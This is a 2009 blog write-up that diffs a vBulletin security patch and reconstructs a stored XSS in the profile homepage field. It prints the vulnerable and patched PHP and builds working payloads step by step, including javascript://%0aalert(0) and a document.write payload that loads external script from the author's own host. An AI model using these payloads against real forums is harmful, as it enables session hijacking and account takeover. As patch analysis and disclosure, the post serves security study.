Having fun with Cross Site Scripting
by , 8th October 2009 at 11:58 (5196 Views)
Recently I have XSS'd major danish websites again, some of it even got all the way to the news which boosted the traffic for InterN0T a little bit thus we had a few newly registered members. Then I found some HTML Injection in another site and around 5 holes in another government site which was notified immediately.
But what interesting is that? There's so many developers that never learns by their previous mistakes..
Today I received an e-mail from Jelsoft about a security update for vBulletin: "Interesting.." is exactly what I thought.
After reading the security thread several times I found these lines the most valueable:
Which gave me a good clue to what kind of flaw it was and where it would be located.An XSS flaw within the user profile page has recently been discovered. This could allow an attacker to carry out an action as a user or obtain access to a user's account. To resolve this issue, it has been necessary to release a patch level version of the active versions of vBulletin.
However the most valueable message / reply was:
Then I only had to download the patch and compare it against the old files, so off we go..If you do not wish to download the entire Patch Level package, you may also download just the patch files from the member's area.
Please note that each patch zip file contains just three files that need to be uploaded:
includes/class_dm.php
includes/class_dm_user.php
includes/version_vbulletin.php
After downloading I opened up my favorite text-editor: SciTE and found out that it didn't contain a comparison tool. (image)
So I searched the net a little and found a tool named ExamDiff which worked magnificent!
After looking at the differences I had a better clue of how to exploit the vulnerability.
Yellow means changed code. Green means newly added code.
class_dm_user.php (image)
class_dm_user.php (patched version!)Code:/** * Verifies that the user's homepage is valid * * @param string URL * * @return boolean */ function verify_homepage(&$homepage) { return (empty($homepage)) ? true : $this->verify_link($homepage); }
Which didn't give much so I took a look in the other file hoping for more information.Code:/** * Verifies that the user's homepage is valid * * @param string URL * * @return boolean */ function verify_homepage(&$homepage) { return (empty($homepage)) ? true : $this->verify_link($homepage, true); }
class_dm.php (image)
class_dm.php (patched version!)Code:/** * Verifies that a hyperlink is valid * * @param string Hyperlink URL * * @return boolean */ function verify_link(&$link) { if (preg_match('#^www\.#si', $link)) { $link = 'http://' . $link; return true; } else if (!preg_match('#^[a-z0-9]+://#si', $link)) { // link doesn't match the http://-style format in the beginning -- possible attempted exploit return false; } else { return true; } }
After aquick look at the above code it was pretty obvious to me what the newly added code did. (image)Code:/** * Verifies that a hyperlink is valid * * @param string Hyperlink URL * @param boolean Strict link (only HTTP/HTTPS); default false * * @return boolean */ function verify_link(&$link, $strict = false) { if (preg_match('#^www\.#si', $link)) { $link = 'http://' . $link; return true; } else if (!preg_match('#^[a-z0-9]+://#si', $link)) { // link doesn't match the http://-style format in the beginning -- possible attempted exploit return false; } else if ($strict && !preg_match('#^(http|https)://#si', $link)) { // link that doesn't start with http:// or https:// should not be allowed in certain places (IE: profile homepage) return false; } else { return true; } }
If the link does not have http or https in front of :// then return false. (don't save it)
So what about the old code? What kind of checks are there?
If the user-input contains www. in the start of the link, then save http://www.$link
Else if the user-input does not contain the following:
a-Z and/or 0-9 + :// in the link then return false / do not save it.
That means that we can use virtually almost anything in the address space of a-Z and 0-9 before :// ..
So I began thinking of the data URI scheme:
data:text/html,<script>alert(0)</script>
But that wouldn't work of course, so what about?
data://text/html,<script>alert(0)</script>
This just tried to save an empty file named:
text/html,<script>alert(0)</script>
...
I was almost out of hope when I thought of using the javascript URI scheme instead!
We all know the classic: javascript:alert(0) but in this case it would prove a lot harder!
Because javascript://alert(0) would of course not work, why?
Because // in javascript code means everything till the end of the line is a comment..
After a lot more thinking and trying and going back to the data scheme it came to me.
Lets try a carriage return or newline in hex encoding?
javascript://%0aalert(0) and it WORKED!
It worked with %0d as well, here's a short explanation of how the code looks like in the different cases and what they mean.
0d = carriage return (ENTER)
0a = new line ( \n in PHP is a similar option)
Case 1 - javascript://alert(0)
Case 2 - javascript://%0aalert(0)Code:<script> //alert(0) </script>
That is basically what happens and I must say, I felt pretty leet when I thought of doing that! xDCode:<script> // \n alert(0) </script>
After playing with html chars like: "/\'>< to the output i found that " would become " which
would consume quite a lot of space, in fact too much since there was a 90 character limit in the URL!
So, an alert box is nice but external javascript is pwn!
I began trying my usual trick which worked both in the browser and on the site:
javascript:document.write('<script>alert(0)</script>')
After a lot of testing and trying, I got the following external script loaded:
javascript:document.write('<script src=http://intern0t.net/.k></script>')
The funny part is that I HAD to use http:// in front of the link, usually I just write //intern0t.net/.k if it
had been in this case but that wouldn't work with the javascript scheme, only the data one.. Very strange indeed.
I'm glad that I was able to find, "exploit" and disclose this vulnerability since I believe this kind of information should be free, not kept away from the public.
All the references and places where I got programs etc is posted below.
The reason why ha.ckers.org is usually posted in my references is because I often take a look at the XSS cheatsheet just to get some ideas rolling, sometimes I don't get anything and sometimes I do.
This time I had to figure it out myself though
References:
Scintilla and SciTE
XSS (Cross Site Scripting) Cheat Sheet
String.fromCharCode Encoder - pro.grammatic.org - purveyors of syntactical perversions : switch/twitch : C# : .NETIDS
PrestoSoft - file comparison, folder comparison and FTP-based source control for software development
Ascii Table - ASCII character codes and html, octal, hex and decimal chart conversion
vBulletin 3.8.4 PL1, 3.7.6 PL1 and 3.6.12 PL2 Released - vBulletin Community Forum
Screenshots:
http://img158.imageshack.us/img158/1...difference.png
http://img61.imageshack.us/img61/925...difference.png
http://img83.imageshack.us/img83/3712/scite.png
http://img213.imageshack.us/img213/4...tpfunction.png
All of the best,
MaXe

















